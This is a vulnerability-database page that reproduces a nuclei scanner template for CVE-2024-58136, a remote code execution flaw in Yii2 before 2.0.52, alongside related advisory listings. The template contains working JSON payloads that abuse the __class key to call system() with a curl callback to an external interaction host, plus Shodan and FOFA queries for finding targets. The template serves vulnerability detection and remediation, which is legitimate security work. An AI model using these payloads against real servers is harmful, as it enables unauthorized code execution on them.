Lucene search
+L

Yii2 PHP Framework < 2.0.52 - Remote Code Execution

🗓️ 17 Oct 2026 02:05:04Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 242 Views

Yii2 PHP Framework before 2.0.52 allows remote code execution due to improper validation vulnerability.

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2024-58136
10 Apr 202500:00
–attackerkb
bdu_fstec
BDU FSTEC
Yii2::createObject() method in the Code Execution
28 May 202500:00
–bdu_fstec
circl
Circl
CVE-2024-58136
10 Apr 202503:40
–circl
cisa_kev
CISA KEV Catalog
Yiiframework Yii Improper Protection of Alternate Path Vulnerability
2 May 202500:00
–cisa_kev
cisa
CISA
CISA Adds Two Known Exploited Vulnerabilities to Catalog
2 May 202512:00
–cisa
cnnvd
CNNVD
Yii 安全漏洞
10 Apr 202500:00
–cnnvd
cve
CVE
CVE-2024-58136
10 Apr 202500:00
–cve
cvelist
Cvelist
CVE-2024-58136
10 Apr 202500:00
–cvelist
github
Github Security Blog
yiisoft/yii2 Mishandles the Attaching of Behavior Defined by a `__class` Array Key
10 Apr 202503:31
–github
kitploit
Kitploit
CVE-repository
15 Oct 202619:22
–kitploit
Rows per page
id: CVE-2024-58136

info:
  name: Yii2 PHP Framework < 2.0.52 - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Yii2 PHP Framework before 2.0.52 is vulnerable to remote code execution via improper validation of the __class key in JSON behaviors. An attacker can instantiate arbitrary PHP classes and achieve RCE.
  impact: |
    Unauthenticated attackers can exploit improper validation of the __class key in JSON behaviors to instantiate arbitrary PHP classes and achieve remote code execution.
  remediation: |
    Update Yii2 PHP Framework to version 2.0.52 or later to address the remote code execution vulnerability.
  reference:
    - https://infosecwriteups.com/from-behaviors-to-shells-yii2-php-framework-rce-cve-2024-58136-exploit-and-mitigation-e47a60a3cecb
    - https://nvd.nist.gov/vuln/detail/CVE-2024-58136
  classification:
    epss-score: 0.87757
    epss-percentile: 0.99762
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-58136
    cwe-id: CWE-94
    cpe: cpe:2.3:a:yiisoft:yii:2.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: yiisoft
    product: yii
    fofa-query: title="Yii"
    shodan-query: title:"Yii"
  tags: cve,cve2024,yii2,rce,php,framework,kev,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    matchers:
      - type: word
        words:
          - "Yii"
        internal: true

  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "system", "stream":"curl {{interactsh-url}}"}}

      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"as hack": {"__class": "GuzzleHttp\\\\Psr7\\\\FnStream", "class": "yii\\\\behaviors\\\\AttributeBehavior", "__construct()": [[]], "_fn_close": "phpinfo"}}

    matchers-condition: or
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "PHP Version"
          - "PHP Extension"
        condition: and
# digest: 4b0a004830460221009cbf32f3f92806ac465e12ec5c5760566d5dcf91c59a2314cc4afb8011b36905022100caf721b07b5ce3f059f5327b224cd8987fcd881ecf257213b6eac1e69c3c0399:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19 - 9.8
EPSS0.87757
SSVC
242